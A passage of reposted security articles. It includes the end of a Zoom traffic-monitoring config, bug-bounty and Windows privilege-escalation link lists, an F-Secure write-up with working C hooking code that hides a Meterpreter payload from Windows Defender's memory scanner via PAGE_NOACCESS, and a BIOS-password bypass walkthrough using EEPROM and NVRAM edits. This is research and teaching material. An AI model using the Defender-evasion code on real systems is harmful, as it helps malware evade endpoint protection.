    3. interface = "wlp61s0"

    The DNS probe collects incoming DNS traffic data. Incoming DNS traffic also includes DNS answers, so we will know exactly what our queries are and what they resolve to, even if an application chooses to craft the packets themselves and bypass the gethostbyname(3) libc call. Due to an implementation details, we need to specify the network interface, which, using systemd, looks a bit ugly.

    1. [probe.config]
    2. type = "Files"
    3. monitor_dirs = ["/"]

    The file probe gives us information about file read/write events that happen in a directory. For monitoring Zoom, I decided I want to see all filesystem activity, so anything that happens under / will show up in my logs. Most applications tend to show fairly conservative access patterns after the loader caters for all the dynamic dependencies, and this is what I expect here, too.

    1. [probe.config]
    2. type = "TLS"
    3. interface = "wlp61s0"

    I want to see the details of TLS connections. Since we know Zoom uses certificate pinning, it will be interesting to see the properties and cipher suits the connections actually use.

    1. [[pipeline.console.steps]]
    2. type = "Container"

    This is a long shot, but we would be able to pick up cgroup information using the Container post-processor. I didn’t pick up any cgroup information, though, so there’s no network-facing sandbox.

    1. [[pipeline.console.steps]]
    2. type = "Buffer"
    3. interval_s = 1
    4. enable_histograms = false
    5.  
    6.  
    7. [pipeline.console.config]
    8. backend = "Console"

    And finally, aggregate events by every second to reduce the amount of data we have to analyse, then print it to the console.

    Enabling aggregation is a good idea if you want to load the results into your preferred analytics stack as I did, because a raw event dump get very large very quickly.

    Conclusion

    This was a quick-ish and fun exercise to see how far we can push our tools in security research. It’s great seeing the amount of effort the community puts into securing critical infrastructure, and in these unprecedented times, privacy and security of video conferencing is definitely at the top of the list as companies are still figuring out how to transition to more sustainable remote environments.

    More importantly, it shows that programs are just programs, it doesn’t matter whether we call them containers or desktop applications, the same methodology applies to monitoring them.

    A large benefit of deploying an observability layer that doesn’t require opt-in from the applications is the immediate increase in coverage, whether it’s for tracing, or security-related work. The layers of data can be aggregated using ingraind’s powerful tagging system, which allows in-depth analysis across the different abstraction layers that make up the environment.

    If you’d like to find out more information about ingraind, visit our information page below. Happy hacking in your sandboxes!

  9. Resources-for-Beginner-Bug-Bounty-Hunters

    Intro

    There are a number of new hackers joining the community on a regular basis and more than often the first thing they ask is "How do I get started and what are some good resources?". As a hacker, there a ton of techniques, terminologies, and topics you need to familiarize yourself with to understand how an application works. Cody Brocious (@daeken)@0xAshFox, and I put these resources together in order to help new hackers with resources to learn the basics of Web Application Security.

    We understand that there are more resources other than the ones we have listed and we hope to cover more resources in the near future!

    Current Version: 2020.05

    Changelog: See what's new! 📣


    Table of Contents


    If you have more questions or suggestions, come the Discord Server of nahamsec !

     

    Sursa: https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters

    • Like 1
  10. Bypassing Windows Defender Runtime Scanning

    Charalampos Billinis, 1 May 2020

    Introduction

    Windows Defender is enabled by default in all modern versions of Windows making it an important mitigation for defenders and a potential target for attackers. While Defender has significantly improved in recent years it still relies on age-old AV techniques that are often trivial to bypass. In this post we’ll analyse some of those techniques and examine potential ways they can be bypassed.

    Antivirus 101

    Before diving into Windows Defender we wanted to quickly introduce the main analysis methods used by most modern AV engines:

    Static Analysis – Involves scanning the contents of a file on disk and will primarily rely on a set of known bad signatures. While this is effective against known malware, static signatures are often easy to bypass meaning new malware is missed. A newer variation of this technique is machine learning based file classification which essentially compares static features against known good and bad profiles to detect anomalous files.

    Process Memory/Runtime Analysis – Similar to the static analysis except running process memory is analysed instead of files on disk. This can be more challenging for attackers as it can be harder to obfuscate code in memory as its executing and off the shelf payloads are easily detected.

    It’s also worth mentioning how scans can be triggered:

    File Read/Write – Whenever a new file is created or modified this can potentially trigger the AV and cause it to initiate a scan of the file.

    Periodic – AV will periodically scan systems, daily or weekly scans are common and this can involve all or just a subset of the files on the system. This concept also applies to scanning the memory of running processes.

    Suspicious Behaviour – AV will often monitor for suspicious behaviour (usually API calls) and use this to trigger a scan, again this could be of local files or process memory.

    In the next few sections we’ll discuss potential bypass techniques in more detail.

    Bypassing Static Analysis With a Custom Crypter

    One of the most well-documented and easiest ways to bypass static analysis is to encrypt your payload and decrypt it upon execution. This works by creating a unique payload every time rendering static file signatures ineffective. There are multiple open source projects which demonstrate this (Veil, Hyperion, PE-Crypter etc.) however we also wanted to test memory injection techniques so wrote a custom crypter to incorporate them in the same payload.

    The crypter would take a “stub“ to decrypt, load and execute our payload and the malicious payload itself. Passing these through our crypter would combine them together into our final payload which we can execute on our target.

    Picture1

    The proof of concept we created included support for a number of different injection techniques that are useful to test against AVs including local/remote shellcode injection, process hollowing and reflective loading. Parameters for these techniques were passed in the stub options.

    All of the above techniques were able to bypass Windows Defender’s static file scan when using a standard Metasploit Meterpreter payload. However, despite execution succeeding we found that Windows Defender would still kill the Meterpreter session when commands such as shell/execute were used. But why? 

    Analysing Runtime Analysis

    As mentioned earlier in this post memory scanning can be periodic or “triggered” by specific activity. Given that our Meterpreter session was only killed when shell/execute was used it seemed likely this activity was triggering a scan.

    To try and understand this behaviour we examined the Metasploit source code and found that Meterpreter used the CreateProcess API to launch new processes

    // Try to execute the process
    if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
    {
    	result = GetLastError();
    	break;
    }

    Inspecting the arguments of CreateProcess and the code around it, nothing suspicious could be found. Debugging and stepping through the code also didn’t reveal any userland hooks, but once the syscall is executed on the 5th line, Windows Defender would find and kill the Meterpreter session.

    Picture5

    This suggested that Windows Defender was logging activity from the Kernel and would trigger a scan of process memory when specific APIs were called. To validate this hypothesis we wrote some custom code to call potentially suspicious API functions and then measure whether Windows Defender was triggered and would kill the Meterpreter session.

    VOID detectMe() {
    	std::vector<BOOL(*)()>* funcs = new std::vector<BOOL(*)()>();
    
    	funcs->push_back(virtualAllocEx);
    	funcs->push_back(loadLibrary);
    	funcs->push_back(createRemoteThread);
    	funcs->push_back(openProcess);
    	funcs->push_back(writeProcessMemory);
    	funcs->push_back(openProcessToken);
    	funcs->push_back(openProcess2);
    	funcs->push_back(createRemoteThreadSuspended);
    	funcs->push_back(createEvent);
    	funcs->push_back(duplicateHandle);
    	funcs->push_back(createProcess);
    
    	for (int i = 0; i < funcs->size(); i++) {
    		printf("[!] Executing func at index %d ", i);
    		
    		if (!funcs->at(i)()) {
    			printf(" Failed, %d", GetLastError());
    		}
    
    		Sleep(7000);
    		printf(" Passed OK!\n");
    	}
    }

    Interestingly most test functions did not trigger a scan event, only CreateProcess and CreateRemoteThread resulted in a scan being triggered. This perhaps made sense as many of the APIs tested are frequently used, if a scan was triggered every time one of them was called Windows Defender would be constantly scanning and may impact system performance.

    Bypassing Windows Defender’s Runtime Analysis

    After confirming Windows Defender memory scanning was being triggered by specific APIs, the next question was how can we bypass it? One simple approach would be to avoid the APIs that trigger Windows Defender’s runtime scanner but that would mean manually rewriting Metasploit payloads which is far too much effort. Another option would be to obfuscate the code in memory, either by adding/modifying instructions or dynamically encrypting/decrypting our payload in memory when a scan a detected. But is there another way?

    Well one thing that works in an attacker’s favour is that the virtual memory space of processes is huge being 2 GB in 32 bits and 128 TB in 64 bits. As such AVs won’t typically scan the whole virtual memory space of a process and instead look for specific page allocations or permissions, for example MEM_PRIVATE or RWX page permissions. Reading through the Microsoft documentation though you’ll see one permission in particular that is quite interesting for us, PAGE_NOACCESS. This “Disables all access to the committed region of pages. An attempt to read from, write to, or execute the committed region results in an access violation.” which is exactly the kind of behaviour we are looking for. And quick tests confirmed that Windows Defender would not scan pages with this permission, awesome we have a potential bypass!

    To weaponize this we’d just need to dynamically set PAGE_NOACCESS memory permissions whenever a suspicious API was called (as that would trigger a scan) then revert it back once the scan is done. The only tricky bit here is we’d need to add hooks for any suspicious calls to make sure we can set permissions before the scan is triggered.

    Bringing this all together, we’d need to:

    1. Install hooks to detect when a Windows Defender trigger function (CreateProcess) is called
    2. When CreateProcess is called the hook is triggered and Meterpreter thread is suspended
    3. Set payload memory permissions to PAGE_NOACCESS
    4. Wait for scan to finish
    5. Set permission back to RWX
    6. Resume the thread and continue execution

    We’ll walk through the code for this in the next section.

    Digging into the hooking code

    We started by creating a function installHook which would take the address of CreateProcess as well as the address of our hook as input then update one with the other.

    CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle(L"KERNELBASE.dll"), "CreateProcessInternalW");
    CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "CreateProcessInternalW");
    hookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5);

    Inside the installHook function you’ll see we save the current state of the memory then replace the memory at the CreateProcess address with a JMP instruction to our hook so when CreateProcess is called our code will be called instead. A restoreHook function was also created to do the reverse. 

    LPHOOK_RESULT installHook(LPVOID hookFunAddr, LPVOID jmpAddr, SIZE_T len) {
    	if (len < 5) {
    		return NULL;
    	}
    
    	DWORD currProt;
    
    
    	LPBYTE originalData = (LPBYTE)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, len);
    	CopyMemory(originalData, hookFunAddr, len);
    
    	LPHOOK_RESULT hookResult = (LPHOOK_RESULT)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, sizeof(HOOK_RESULT));
    
    	hookResult->hookFunAddr = hookFunAddr;
    	hookResult->jmpAddr = jmpAddr;
    	hookResult->len = len;
    	hookResult->free = FALSE;
    
    	hookResult->originalData = originalData;
    
    	VirtualProtect(hookFunAddr, len, PAGE_EXECUTE_READWRITE, &currProt);
    
    	memset(hookFunAddr, 0x90, len);
    
    	SIZE_T relativeAddress = ((SIZE_T)jmpAddr - (SIZE_T)hookFunAddr) - 5;
    
    	*(LPBYTE)hookFunAddr = 0xE9;
    	*(PSIZE_T)((SIZE_T)hookFunAddr + 1) = relativeAddress;
    
    	DWORD temp;
    	VirtualProtect(hookFunAddr, len, currProt, &temp);
    
    	printf("Hook installed at address: %02uX\n", (SIZE_T)hookFunAddr);
    
    	return hookResult;
    }
    BOOL restoreHook(LPHOOK_RESULT hookResult) {
    	if (!hookResult) return FALSE;
    
    	DWORD currProt;
    
    	VirtualProtect(hookResult->hookFunAddr, hookResult->len, PAGE_EXECUTE_READWRITE, &currProt);
    
    	CopyMemory(hookResult->hookFunAddr, hookResult->originalData, hookResult->len);
    
    	DWORD dummy;
    
    	VirtualProtect(hookResult->hookFunAddr, hookResult->len, currProt, &dummy);
    
    	HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, hookResult->originalData);
    	HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, hookResult);
    
    	return TRUE;
    }

    When our Metasploit payload calls the CreateProcess function, our custom hookCreateProcessInternalW method will be executed instead. hookCreateProcessInternalW calls createProcessNinja on another thread to hide the Meterpreter payload.

    BOOL 
    WINAPI
    hookCreateProcessInternalW(HANDLE hToken,
    	LPCWSTR lpApplicationName,
    	LPWSTR lpCommandLine,
    	LPSECURITY_ATTRIBUTES lpProcessAttributes,
    	LPSECURITY_ATTRIBUTES lpThreadAttributes,
    	BOOL bInheritHandles,
    	DWORD dwCreationFlags,
    	LPVOID lpEnvironment,
    	LPCWSTR lpCurrentDirectory,
    	LPSTARTUPINFOW lpStartupInfo,
    	LPPROCESS_INFORMATION lpProcessInformation,
    	PHANDLE hNewToken)
    {
    	BOOL res = FALSE;
    	restoreHook(createProcessHookResult);
    	createProcessHookResult = NULL;
    
    	printf("My createProcess called\n");
    
    	LPVOID options = makeProcessOptions(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);
    
    	HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)createProcessNinja, options, 0, NULL);
    
    	printf("[!] Waiting for thread to finish\n");
    	WaitForSingleObject(thread, INFINITE);
    
    	GetExitCodeThread(thread, (LPDWORD)& res);
    
    	printf("[!] Thread finished\n");
    
    	CloseHandle(thread);
    
    	createProcessHookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5);
    
    	return res;
    }

    Notice that setPermissions is used to set the PAGE_NOACCESS permission on our memory before the call to CreateProcess is finally made. 

    BOOL createProcessNinja(LPVOID options) {
    	LPPROCESS_OPTIONS processOptions = (LPPROCESS_OPTIONS)options;
    
    	printf("Thread Handle: %02lX\n", metasploitThread);
    
    	
    	if (SuspendThread(metasploitThread) != -1) {
    		printf("[!] Suspended thread \n");
    	}
    	else {
    		printf("Couldnt suspend thread: %d\n", GetLastError());
    	}
    
    
    	setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_NOACCESS);
    	
    	BOOL res = CreateProcessInternalW(processOptions->hToken,
    		processOptions->lpApplicationName,
    		processOptions->lpCommandLine,
    		processOptions->lpProcessAttributes,
    		processOptions->lpThreadAttributes,
    		processOptions->bInheritHandles,
    		processOptions->dwCreationFlags,
    		processOptions->lpEnvironment,
    		processOptions->lpCurrentDirectory,
    		processOptions->lpStartupInfo,
    		processOptions->lpProcessInformation,
    		processOptions->hNewToken);
    
    	Sleep(7000);
    
    	if (setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_EXECUTE_READWRITE)) {
    		printf("ALL OK, resuming thread\n");
    
    		ResumeThread(metasploitThread);
    	}
    	else {
    		printf("[X] Coundn't revert permissions back to normal\n");
    	}
    
    	HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, processOptions);
    	return res;
    }

    A brief sleep of five seconds is taken to let the Windows Defender scan complete before the permissions of the Metasploit modules are reverted back to normal. Five seconds was sufficient during testing however this may take longer on other systems or processes.

    Also during testing it was found that some processes didn’t trigger Windows Defender even though they made calls to those WinAPI functions. Those processes are:

    • explorer.exe
    • smartscreen.exe

    So another potential bypass would be to simply inject your Meterpreter payload within either process and you would bypass Windows Defender’s memory scanner. Although unconfirmed we believe this may have been a performance optimization as those two processes often call CreateProcess.

    A custom Metasploit extension called Ninjasploit was written to be used as a post exploitation extension to bypass Windows Defender. The extension provides two commands install_hooks and restore_hooks which implement the memory modification bypass previously described. The extension can be found here:

    https://github.com/FSecureLABS/Ninjasploit

    Conclusion

    In recent years Windows Defender has made some great improvements, yet as this testing showed, with relatively little effort the static analysis and even runtime analysis can be bypassed. 

    We showed how payload encryption and common process injection techniques could be used to bypass Windows Defender. And while more advanced runtime analysis provided an additional hurdle it was still relatively straight forward to bypass by abusing the limitations of real-time memory scanning. Although not the focus of this post it would have been interesting to perform the same testing against next-gen file classification as well as modern EDR solutions as these may have provided additional challenges.

    Special thanks Luke Jennings and Arran Purewal for all their help and support during this research project.

    References

    https://github.com/Veil-Framework/Veil

    https://github.com/nullsecuritynet/tools/tree/master/binary/hyperion/source

    https://github.com/FSecureLABS/Ninjasploit

     

    Sursa: https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/

  11. Windows-Privilege-Escalation-Resources

    Compilation of Resources from TCM's Windows Priv Esc Udemy Course

    General Links

    Link to Website: https://www.thecybermentor.com/

    Link to course: https://www.udemy.com/course/windows-privilege-escalation-for-beginners/

    Link to discord server: https://discord.gg/RHZ7UF7

    HackTheBox: https://www.hackthebox.eu/

    TryHackMe: https://tryhackme.com/

    TryHackMe Escalation Lab: https://tryhackme.com/room/windowsprivescarena

    Introduction

    Fuzzy Security Guide: https://www.fuzzysecurity.com/tutorials/16.html

    PayloadAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

    Absoloom's Guide: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

    Sushant 747's Guide: https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

    Gaining a Foothold

    msfvenom: https://netsec.ws/?p=331

    Exploring Automated Tools

    winpeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

    Windows Priv Esc Checklist: https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation

    Sherlock: https://github.com/rasta-mouse/Sherlock

    Watson: https://github.com/rasta-mouse/Watson

    PowerUp: https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

    JAWS: https://github.com/411Hall/JAWS

    Windows Exploit Suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester

    Metasploit Local Exploit Suggester: https://blog.rapid7.com/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/

    Seatbelt: https://github.com/GhostPack/Seatbelt

    SharpUp: https://github.com/GhostPack/SharpUp

    Escalation Path: Kernel Exploits

    Windows Kernel Exploits: https://github.com/SecWiki/windows-kernel-exploits

    Kitrap0d Info: https://seclists.org/fulldisclosure/2010/Jan/341

    MS10-059: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059

    Escalation Path: Passwords and Port Forwarding

    Achat Exploit: https://www.exploit-db.com/exploits/36025

    Achat Exploit (Metasploit): https://www.rapid7.com/db/modules/exploit/windows/misc/achat_bof

    Plink Download: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

    Escalation Path: Windows Subsystem for Linux

    Spawning TTY Shell: https://netsec.ws/?p=337

    Impacket Toolkit: https://github.com/SecureAuthCorp/impacket

    Impersonation and Potato Attacks

    Rotten Potato: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

    Juicy Potato: https://github.com/ohpe/juicy-potato

    Groovy Reverse Shell: https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

    Alternative Data Streams: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/

    Escalation Path: getsystem

    getsystem Explained: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

    Escalation Path: Startup Applications

    icacls Docs: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls

    Escalation Path: CVE-2019-1388

    ZeroDayInitiative CVE-2019-1388: https://www.youtube.com/watch?v=3BQKpPNlTSo

    Rapid7 CVE-2019-1388: https://www.rapid7.com/db/vulnerabilities/msft-cve-2019-1388

    Capstone Challenge

    Basic Powershell for Pentesters: https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters

    Mounting VHD Files: https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25

    Capturing MSSQL Creds: https://medium.com/@markmotig/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478

     

    Sursa: https://github.com/Gr1mmie/Windows-Privilege-Escalation-Resources/blob/master/README.md

  12. Defeating a Laptop's BIOS Password

    We found a laptop laying around the office that had BIOS password enabled. On top of that, the laptop had secure boot turned on. We wanted to run an OS that was not signed with Microsoft's keys, so we really needed a way to get into the setup utility.

    Some minor details have been changed to obfuscate the manufacturer and the model of the target laptop.

    Table of Contents

    UEFI Primer

    Glossary

    • SEC - Security
    • PEI - Pre-EFI Initialization
    • DXE - Driver eXecution Environment
    • PEI module/DXE driver/UEFI application - Microsoft PE formatted files containing firmware code
    • Protocol - An instance of a struct identified by a GUID
    • PCH - Platform Controller Hub

    The Boot Process

    Even today's modern 64-bit CPUs begin execution in 16-bit mode. In UEFI, this is called the SEC phase. The SEC phase configures a minimal set of CPU registers and then switches the CPU into 32-bit mode. This mode switch marks the end of the SEC phase and the beginning of the PEI phase. In þe days of olde the SEC phase also acted as the root of trust for the system, but nowadays that role is assigned to the PCH. The PCH verifies the firmware for the SEC and PEI phases before the CPU begins executing any code. The PEI phase configures some non-CPU platform components and optionally verifies the integrity of the DXE phase's code. After verification, the PEI phase switches the CPU into 64-bit mode and starts the DXE phase. The DXE phase contains all of the drivers and applications that run before your OS boots, including your OS's bootloader. Some of these drivers persist even after your OS has booted.

    Firmware Filesystem

    UEFI defines its own filesystem format for use in flash images. A flash image will contain one or more firmware volumes, and each volume will contain one or more firmware files. Files are identified by a GUID rather than by a name, although some file types define a way to optionally provide a name. A file can also be a container for another volume, which enables nested volumes (i.e. one volume within another). Nested volumes are commonly used to support volume compression.

    Flash Black Magic

    Dumping the Flash

    At heart, PCs are just large, powerful, embedded devices—and like most embedded devices they have flash chips that we can dump and rewrite. The flash chip is usually the chip with the bulkiest package on the board. We quickly identified the flash chip on our laptop's motherboard, and promptly attached it to a SPI flash programmer with some clips.

    Flash chip with clips attached

    Parsing the Flash

    The flash's contents were formatted as an Intel image and could readily be parsed by UEFITool

    Flash dump loaded in UEFITool

    Intel flash images are divided into several regions. However the only region that we cared about was the BIOS region. The BIOS region consists of several firmware filesystem volumes and an NVRAM variable storage area. We could have just found the file responsible for showing the setup screen to the user and patched out the password check, but that wasn't possible on this laptop because hardware-based firmware security was enabled.

    In the image above, areas marked in red are protected by Intel BootGuard. Before the CPU can execute any instructions the hash of the red areas is computed and then checked against a signature stored in the flash somewhere; the hash of the RSA public key used to verify that signature is fused into the PCH during the OEM's manufacturing process. The areas marked in cyan are protected by the OEM's code verification mechanism. The OEM has to implement it's own verification mechanism on top of BootGuard, because BootGuard only protects the SEC and PEI phases. The DXE phase also needs to be protected from modification. In most implementations, the cyan areas are hashed, and that hash is matched against a hash stored in a file in the red area. Since everything in the red area is already protected by BootGuard, another signature is not needed. However, no NVRAM variables can be protected because they're designed to be modified by end-users.

    Messing with NVRAM

    None of us had ever seen the secure boot enable flag or the BIOS password stored anywhere except inside of an NVRAM variable. So the first thing that we wanted to try was completely clearing all of the NVRAM variables and having the board use its default values for everything. If we were lucky, secure boot would be disabled and the BIOS password would be gone. However, when we tried to boot the board after clearing the variable store, we were presented with the following error message:

    12B4: Bad Checksum of Sec Settings in NVRAM variable.
    

    We searched for a portion of that string in the dump, and then loaded the DXE driver containing it into IDA. Once it was loaded, we followed the x-refs to reach the code that referenced it. It seemed like it would attempt to get a handle to a protocol with a certain GUID, and if it was not able to, it would get a handle to the logging protocol and send it that error message. We tracked down the driver that implemented the desiered protocol and looked at all of the NVRAM variables it attempted to access. One of them had SecConfig in its name, so we tried clearing all NVRAM variables except for that one and hoped for the best. The board booted successfully and secure boot was disabled, :D! The BIOS password, however, was still enabled... :(. It couldn't have been stored in the SecConfig variable, because after looking at its contents we determined that it was just a bunch of enable/disable flags. There was not enough data in the variable to contain either the password itself or the hash of the password. From these findings, we concluded that the BIOS password had to be stored somewhere other than NVRAM, and that it could have even been stored off-flash on an entirely different chip.

    Breaking and Entering

    Loading into Setup

    It was possible to return to the boot device selection menu after you had booted into a flash drive by exiting the UEFI app that was running (in this case a copy of the UEFI shell). However, when this was done the option to enter the setup menu from within the boot menu would disappear. We looked at the NVRAM boot entry for the setup menu and saw that it was booting into a UEFI app with a GUID of 2AD48FB3-2E28-42F2-88D5-A73EC922DCBA. By searching for that GUID in UEFITool, we found the app's executable in the firmware. We extracted it and put it on our flash drive. We tried executing the app from within our shell, but for some reason the executable was marked as a DXE driver instead of a UEFI app. We managed to get it to execute by using the load command instead of running it directly, but even when we started it that way we were presented with the password prompt.

    Modifying Firmware In-Memory

    We wanted to track down the driver that handled the password checking logic so that we could patch it in memory. The patch we wanted to make would make it think that no password was set. It wouldn't be a permanent fix, but if it worked it would allow us to get into the setup menu. With nothing else to go on, we looked through the names of all of the DXEs in the firmware image. One that stood out to us was BpwManager because we thought that Bpw might have been short for BIOS password. We loaded it into IDA, and then looked at all of its strings. We knew we had the right driver when we saw 12AE: Sys Security - BIOS password entry failure count exceeded in the string list. The driver registered one protocol which consisted of several function pointers. We looked at all of the places that the setup utility used that protocol and found one place where we believed that it was determining whether or not a BIOS password was enabled. It called one of the functions provided by the protocol, and if the return value had its lowest bit set, it would do something with the string Enabled, otherwise it would do something with the string Disabled.

    ((void (__fastcall *)(BpwProtocol *, _QWORD, char *))bpwProtocol->GetBPWFlags)(bpwProtocol, 0i64, &bpwFlags);
    v13 = L"Enabled";
    if ( !(bpwFlags & 1) )
    	v13 = L"Disabled";

    We assumed this was related to the code for displaying the menu entry for the BIOS password, and that the function it was calling was some sort of GetFlags() function. The code for that function just read in a value from a memory address and returned it. We used our UEFI shell to edit the flag value in memory and set it to 0, and then we tried loading the setup utility again. It worked! We were even able to go to the security tab and unset/reset the BIOS password! Sadly, after we rebooted the laptop and tried to enter the setup utility normally, it still prompted us for the old password :(. Something weird was going on.

    GUID Hell

    Emulated EEPROM

    Almost every function in the BpwManager driver called into a protocol with a GUID of 9FFA2362-7344-48AA-8208-4F7985A71B51. We used UEFITool's search by GUID function to find all references to that protocol. One result in particular piqued our interest, it was a driver named EmuSecEepromDxe. We loaded it into IDA and confirmed that this was the driver registering the protocol in question. The protocol consisted of three function pointers, one of which did nothing except just return an error value. Based on the Hex-Rays output of the two remaining functions and how they were used in the BpwManager driver, we constructed this structure to describe the protocol:

    struct EmuSecEepromProtocol
    {
        public:
            EFI_STATUS (*eepromRead)(EmuSecEepromProtocol *this, __int64 eepromBankID, __int64 byteIndex, unsigned char *b);
            EFI_STATUS (*eepromWrite)(EmuSecEepromProtocol *this, __int64 eepromBankID, __int64 byteIndex, unsigned char b);
            EFI_STATUS (*returnError)();
    };

    We determined that the emulated EEPROM was divided into several sections, which we called banks. There were 8 banks, containing 0x80 bytes each. Every eepromBankID referred to two continuous banks, with the second one being used for byte indices above 0x80. We determined that the information that was important to the BpwManager DXE was stored in bank ID 0x57.

    We wrote a quick UEFI app to try and read out all 0x100 bytes from that bank ID, but every call we made to eepromRead returned an error code for the first 0x80 bytes. That meant we were unable to read data from the first bank in the group of two. We tracked down where that error number was referenced in IDA. Reading through the code, we discovered that bank ID 0x5C was an array of access permissions for all of the banks. Every time something tried to read or write from a bank, it would check a byte in bank ID 0x5C based on the bank number (not ID number) being accessed. Bank ID 0x57 corresponded to bank numbers 6 and 7, and sure enough bank number 6 had permissions set to not allow reads or writes and bank number 7 allowed reads. This explained why we were able to read bytes from the second half but not from the first.

    We attempted to change the permission byte of bank number 6, but that gave us another error. We discovered that there was another bit in the permission byte that locked out further permission changes. We also tried patching out the jump instructions that lead to the error return code, but that didn't work either. Now we knew that the check was also happening somewhere outside of the driver. To track it down, we followed the path of all of the read/write requests and found that they eventually ended up at the CPU IO EFI protocol. The actual operations were happening off-CPU somewhere.

    Boot-Time Shenanigans

    We guessed that all emulated EEPROM operations were actually being handled by the embedded controller, but we didn't spend that much time searching for what was actually handling them; it was not that important for us to know. Almost every other chip on the board was in a BGA package that we didn't know the pinout for, so it would have been impractical to dump or reflash whatever chip it was stored on.

    We knew at some point during boot, the permissions had to be set to allow at least some operations, because the prompt asking you to type the password needed something to compare against and the setup utility had to have the ability to change the password. The hint that we needed was that the setup button would still be present in the boot menu if you booted into a built-in app such as the diagnostics splash screen, then exited it. However, like we noted earlier, if you booted into an external app, such as a UEFI shell on a flash drive, the "Enter Setup" button would disappear until the next reboot. We searched the dump for the names of one of the built-in apps to try and see if we could redirect it to the normally inaccessible, but built-in, UEFI shell. It turns out they're completely standard NVRAM UEFI boot entries. The attributes field of boot entries has a flag that means it's for an application, and instead of a path to a file to run, the variable contains the GUID of a built-in app. We modified one of these boot entries to point to the built-in shell, and then tried booting into it. It worked, and now we were in business!

    "The Incident"

    We read out the permission bytes for all of the banks and saw that they allowed all permissions on every bank. We then identified where the hash of the password was located within the EEPROM and wrote 0s to it. One of us had remembered seeing that if the BpwManager read all 0s for the password's hash, it would think that no password was set. Turns out, we were wrong. Really wrong. When we rebooted we were able to get into the boot menu, but choosing any boot entry was met with this error:

    01240: Bad BPW data, stop boot.
    

    The error was only displayed for around 3 seconds, after which the system immediately powered off. Instead of patching the hash directly in the emulated EEPROM, we really should have done the same patch we did before to bypass the password prompt to get into the setup menu and changed it from there. Hindsight is 20/20. We were a little too excited about all of the permissions being enabled.

    Enabling JTAG

    At this point, the only way any of us could think of to save the board was JTAG. Even though the board had no JTAG connector, most Intel chipsets support JTAG-over-USB. They call it direct connect interface, or DCI, and there are two flavors: DbC (USB DebugClass) and OOB (out-of-band). OOB implements a completely different wire protocol on the USB pins and requires a special adapter that you can only get by signing an NDA with Intel. That left DbC; it's like USB On-the-Go but in reverse. You use a crossover USB 3.0 A-A cable to connect to the board you're trying to debug, and it will enumerate as a USB device. To interface with that USB device, you can use Intel System Studio, which can be downloaded for free without an NDA. It gives you a normal-ish debugger interface.

    Locating the Options

    We needed to figure out how to enable DCI. On most motherboards, the setup utility you can access only shows a small subset of the available cofiguration options. For some reason, the other options are usually still compiled-in, even though they'll always be hidden. Almost every interface you see in UEFI is based off of what the specification calls HII, or human interface infrastructure. HII interfaces are designed in a language called VFR (visual form representation), and are compiled into IFR (intermediate form representation). All we needed to do was find the DXE that displayed the options, and then extract the IFR from it. Once we had the IFR we could disassemble it to make it human readable. Fortunately for us, someone had already done the hard work of writing a tool to do all of those things. We used LongSoft's fork of Universal-IFR-Extractor. To find the correct DXE, we just searched for the name of one of the options in the setup utility. The output of the IFR extractor is a disassembled version of the bytecode, but it's still easy enough to understand. There are a number of VarStore objects defined like:

    VarStoreEFI: VarStoreId: 0x5 [8D6355D7-9BD1-44FF-B02F-925BA85A0FAC], Attrubutes: 3, Size: 572, Name: PchSetup
    

    Each VarStore corresponds to an NVRAM variable, given by its name and guid. The ID is used to reference it in options. Options are defined like:

    One Of: DCI enable (HDCIEN), VarStoreInfo (VarOffset/VarName): 0x8, VarStore: 0x5, QuestionId: 0x2D8, Size: 1, Min: 0x0, Max 0x1, Step: 0x0
    	One Of Option: Disabled, Value (8 bit): 0x0 (default)
    	One Of Option: Enabled, Value (8 bit): 0x1
    End One Of {29 02}
    

    The DCI enable option is stored in VarStore 5 at byte offset 8 and is 1 byte long. Setting that byte to 0 means disabled, and setting it to 1 means enabled. These are all of the options that we changed:

    • DCI enable (HDCIEN) -> Enabled
    • Debug Interface -> Enabled
    • Debug Interface Lock -> Disabled
    • Enable/Disable IED(Intel Enhanced Debug) -> Enabled

    Editing NVRAM Variables in Flash

